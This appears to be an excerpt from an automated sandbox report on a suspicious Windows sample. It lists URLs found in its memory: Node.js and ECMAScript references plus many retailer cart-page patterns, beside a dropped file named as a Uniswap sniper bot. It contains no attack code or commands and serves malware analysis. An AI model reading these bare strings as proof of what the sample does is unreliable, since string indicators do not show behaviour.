Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/punycode
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/utf8js
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://myshop.amplify.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://no-color.org/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_stat_time_values)
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspector
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspectorFor
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.ico
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.icofaviconUrldevtoolsFrontendUrldevtoolsFrontendUr
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://opensource.org/licenses/MIT
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/billing
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/billingQuota
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://secure.houseofbeautyworld.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://secure.newegg.com/shop/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://shop.advanceautoparts.com/web/orderitemdisplay/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://shop.lululemon.com/shop/mybag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sourcemaps.info/spec.html
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/a/5501711/3561
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/55718778/why-abortcontroller-is-not-defined
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-%typedarray%-intrinsic-object
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2397#section-2
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc6455#section-1.3
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tweetnacl.js.org
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#special-scheme
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#url
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#url-serializing
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://v8.dev/blog/v8-release-89
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/manifest/#installability-signals
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#the-integrity-attribute
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.abebooks.com/servlet/(shopbasketpl
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.academy.com/shop/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.acehardware.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.adorama.com/als.mvc/cartview/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ae.com/us/en/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.altardstate.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.anthropologie.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.apple.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.att.com/((
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.backcountry.com/Store/cart/cart.jsp/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.basspro.com/shop/ajaxorderitemdisplayview/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bathandbodyworks.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bedbathandbeyond.com/store/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.belk.com/shopping-bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/cart(/
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bhphotovideo.com/(c/)?find/cart.jsp
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bloomingdales.com/my-bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/characteristics
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/descriptors
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/services
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.boostmobile.com/cart.html/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.brownells.com/aspx/store/cart.aspx/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.buybuybaby.com/store/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.carid.com/cart.php/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chegg.com/shoppingcart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/4664843055398912
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5093566007214080
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5093566007214080Hyphenation.Openen-ASen-GUen-MHen-MPen-PRen-UMe
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5636954674692096
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5644273861001216.
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5682658461876224.
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5718547946799104
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/6662647093133312
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/6662647093133312InputDeviceCapabilities
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.containerstore.com/cart/list.htm/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.costco.com/checkoutcart(display)?view/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.crateandbarrel.com/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dickssportinggoods.com/orderitemdisplay/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dillards.com/webapp/wcs/stores/servlet/orderitemdisplay/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dsw.com/en/us/shopping-bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-line-terminators
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-promise.all
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-timeclip
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Alternative
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Atom
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-CharacterClass
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-CharacterClassEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtom
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtomNoDash
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassRanges
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ControlEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ControlLetter
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalDigits
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Disjunction
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Hex4Digits
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexDigit
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexDigits
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexEscapeSequence
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRanges
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRangesNoDash
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-OctalDigit
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Pattern
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-PatternCharacter
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Quantifier
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-QuantifierPrefix
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-RegExpUnicodeEscapeSequence
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-SyntaxCharacter
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Assertion
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-AtomEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-CharacterEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassControlLetter
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedAtom
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedPatternCharacter
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-IdentityEscape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-InvalidBracedQuantifier
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-LegacyOctalEscapeSequence
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Term
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#sec-atomescape
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#sec-term
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.etsy.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.eyebuydirect.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fingerhut.com/cart/index/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.finishline.com/store/cart/cart.jsp/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.freepeople.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gamestop.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.groupon.com/(checkout/)?cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.harborfreight.com/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hmhco.com/hmhstorefront/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hottopic.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hsn.com/checkout/bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jcpenney.com/cart/?$
